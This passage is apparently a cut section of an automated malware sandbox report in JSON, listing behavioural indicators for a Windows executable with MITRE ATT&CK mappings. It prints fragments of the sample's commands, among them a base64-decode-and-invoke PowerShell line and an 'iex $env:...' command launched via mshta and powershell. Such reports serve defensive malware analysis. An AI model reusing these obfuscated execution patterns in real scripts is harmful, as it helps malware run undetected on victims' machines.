(executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\ms4a3qxy.qek.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\pfdbc5vg.osb.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"\n \"powershell.exe\" writes file \"%localappdata%\\microsoft\\windows\\powershell\\moduleanalysiscache\"\n \"powershell.exe\" writes file \"%localappdata%\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping 0, GenuineIntel\" (Indicator: \"ping \"; Source: \"00000000-00005644.00000003.86403.01CD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00005644)\n \"mshta.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00005936)\n \"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003404)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet cache entries (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-321","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionA\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$50","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"details too long to display","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00005644\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in process \"00000000-00005644\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEC8AF9A1F9CD042AEBF99187D4969]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005460.00000000.84867.000C0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE56EF51C1EF6A4649992B8A9329C7]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005460.00000000.84867.000C0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEE6F434C2667B4334AF3AF82D4B78]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005644.00000003.86403.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.01CD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005460.00000000.84867.000C0000.00000004.mdmp, 00000000-00005460.00000001.86338.0010A000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005644.00000003.86403.01CD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDCOrgEx\" (Indicator: \"GetDC\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$52","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"mshta.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"mshta.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64StrinP\" (Indicator: \"base64\"; Source: \"00000000-00005644.00000001.78962.01730000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate logon sessions (API string)","description":"Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-117","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve User Agents (API string)","description":"Found reference to API \"ObtainUserAgentString\" (Indicator: \"ObtainUserAgentString\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-157","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessIdOfThread\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"p_DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00005460.00000001.86338.00C81000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping 0, GenuineIntel\" (Indicator: \"ping\"; Source: \"00000000-00005644.00000003.86403.01CD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to enumerate objects using PowerShell","description":"Process \"powershell.exe\" with commandline \"iex $env:oczbexg\" (UID: 00000000-00003404)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":3,"id":"target-442","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003404)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$54","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeAssignPrimaryTokenPrivilege\" (Indicator: \"SeAssignPrimaryTokenPrivilege\"; Source: \"00000000-00005644.00000003.86403.00150000.00000004.mdmp\")\n Found reference to API \"SeIncreaseQuotaPrivilege\" (Indicator: \"SeIncreaseQuotaPrivilege\"; Source: \"00000000-00005644.00000003.86403.00150000.00000004.mdmp\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"00000000-00005644.00000003.86403.00150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 